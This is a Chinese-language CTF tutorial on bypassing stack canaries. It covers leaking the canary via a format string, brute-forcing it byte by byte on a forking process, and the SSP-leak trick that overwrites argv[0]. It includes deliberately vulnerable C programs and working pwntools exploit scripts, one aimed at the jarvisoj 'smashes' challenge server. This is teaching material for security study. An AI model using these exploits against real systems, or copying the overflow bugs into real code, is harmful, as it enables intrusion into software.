论canary的几种玩法

此文讨论我目前所知的几种关于canary的玩法,我目前不知道的就等我以后什么时候知道了再补充吧。


先说说canary

canary直译就是金丝雀,为什么是叫金丝雀?

17世纪,英国矿井工人发现,金丝雀对瓦斯这种气体十分敏感。空气中哪怕有极其微量的瓦斯,金丝雀也会停止歌唱;而当瓦斯含量超过一定限度时,虽然鲁钝的人类毫无察觉,金丝雀却早已毒发身亡。当时在采矿设备相对简陋的条件下,工人们每次下井都会带上一只金丝雀作为“瓦斯检测指标”,以便在危险状况下紧急撤离。

而程序里的canary就是来检测栈溢出的。

检测的机制是这样的:

1.程序从一个神奇的地方取出一个4(eax)或8(rax)节的值,在32位程序上,你可能会看到:

在64位上,你可能会看到:

总之,这个值你不能实现得到或预测,放到站上以后,eax中的副本也会被清空(xor eax,eax)

2.程序正常的走完了流程,到函数执行完的时候,程序会再次从那个神奇的地方把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。

在栈中大致是这样一个画风:


绕过canary - 格式化字符串

格式化字符串能够实现任意地址读写,具体的实现可以参考我blog中关于格式化字符串的总结,格式化字符串的细节不是本文讨论的重点。

大体思路就是通过格式化字符串读取canary的值,然后在栈溢出的padding块把canary所在位置的值用正确的canary替换,从而绕过canary的检测。

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* compile cmd: gcc source.c -m32 -o bin
**/
#include <stdio.h>
#include <unistd.h>
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
char buffer[6];
init();
scanf("%6s",buffer);
printf(buffer);
fun();
}

在第一次scanf的时候输入“%7$x”打印出canary,在fun中利用栈溢出控制eip跳转到getflag。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'
cn = process('./bin')
cn.sendline('%7$x')
canary = int(cn.recv(),16)
print hex(canary)
cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x0804863d))
flag = cn.recv()
log.success('flag is:' + flag)


绕过canary - 针对fork的进程

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* compile cmd: gcc source.c -m32 -o bin
**/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}

poc脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
cn = process('./bin')
cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break
cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))
flag = cn.recv()
cn.close()
log.success('flag is:' + flag)

故意触发canary - ssp leak

这题可以参考jarvis oj中 smashes一题的解题方法中的前一半。

这里我偷个懒,直接把之前写的wp扔过来了,反正原理都在题里了。

题目描述:

Smashes, try your best to smash!!!

nc pwn.jarvisoj.com 9877

smashes.44838f6edd4408a53feb2e2bbfe5b229

首先查看保护

1
2
3
4
5
6
7
8
$ checksec pwn_smashes
[*] '/home/veritas/pwn/jarvisoj/smashes/pwn_smashes'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

有canary,有nx

ida找到关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 func_1()
{
__int64 v0; // rax@1
__int64 v1; // rbx@2
int v2; // eax@3
__int64 buffer; // [sp+0h] [bp-128h]@1
__int64 canary; // [sp+108h] [bp-20h]@1
canary = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets(&buffer);
if ( !v0 )
label_exit:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1u )
goto label_exit;
if ( v2 == '\n' )
break;
flag[v1++] = v2;
if ( v1 == 32 ) // 32长度
goto thank_you;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
thank_you:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ canary;

首先,函数使用了gets(的某种形态?)来获取输入,好处是我们可以输入无限长度的字符串,坏处是发送过去的字符串的尾部会以\n结尾,所以无法绕过canary。

纵观整个程序,似乎没有什么地方能够绕过canary,也没有什么地方能打印flag。

但如果你换个思路,我们故意触发canary的保护会怎么样?

事实上,就有一种攻击方法叫做SSP(Stack Smashing Protector ) leak


如果canary被我们的值覆盖而发生了变化,程序会执行函数___stack_chk_fail()

一般情况下,我们执行了这个函数,输出是这样的:

我们来看一下源码
__stack_chk_fail :

1
2
3
4
5
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}

fortify_fail

1
2
3
4
5
6
7
8
9
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

可见,__libc_message 的第二个%s输出的是argv[0],argv[0]是指向第一个启动参数字符串的指针,而在栈中,大概是这样一个画风

所以,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。

听起来很美妙,我们可以试试看。

先写如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
#cn = remote('pwn.jarvisoj.com', 9877)
cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0000000000400934)*200) #直接用我们所需的地址占满整个栈
cn.recv()
cn.sendline()
cn.recv()
#.rodata:0000000000400934 aHelloWhatSYour db 'Hello!',0Ah ; DATA XREF: func_1+1o
#.rodata:0000000000400934 db 'What',27h,'s your name? ',0
#.rodata:000000000040094E ; char s[]
#.rodata:000000000040094E s db 'Thank you, bye!',0 ; DATA XREF: func_1:loc_400878o
#.rodata:000000000040095E align 20h
#.rodata:0000000000400960 aNiceToMeetYouS db 'Nice to meet you, %s.',0Ah
#.rodata:0000000000400960 ; DATA XREF: func_1+3Fo
#.rodata:0000000000400960 db 'Please overwrite the flag: ',0
#.rodata:0000000000400992 align 8
#.rodata:0000000000400992 _rodata ends

输出结果令我们满意

1
2
3
4
[DEBUG] Received 0x56 bytes:
'Thank you, bye!\n'
'*** stack smashing detected ***: Hello!\n'
"What's your name? terminated\n"

但是,当我们把地址换成flag的地址时,却可以发现flag并没有被打印出来,那是因为在func_1函数的结尾处有这样一句:

1
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

所以,无论如何,等我们利用canary打印flag的时候,0x600D20上的值已经被完全覆盖了,因此我们无法从0x600D20处得到flag。

这就是这道题的第二个考点,ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。

可见,其实在0x400d20处存在flag的备份。

因此,最终的poc为:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()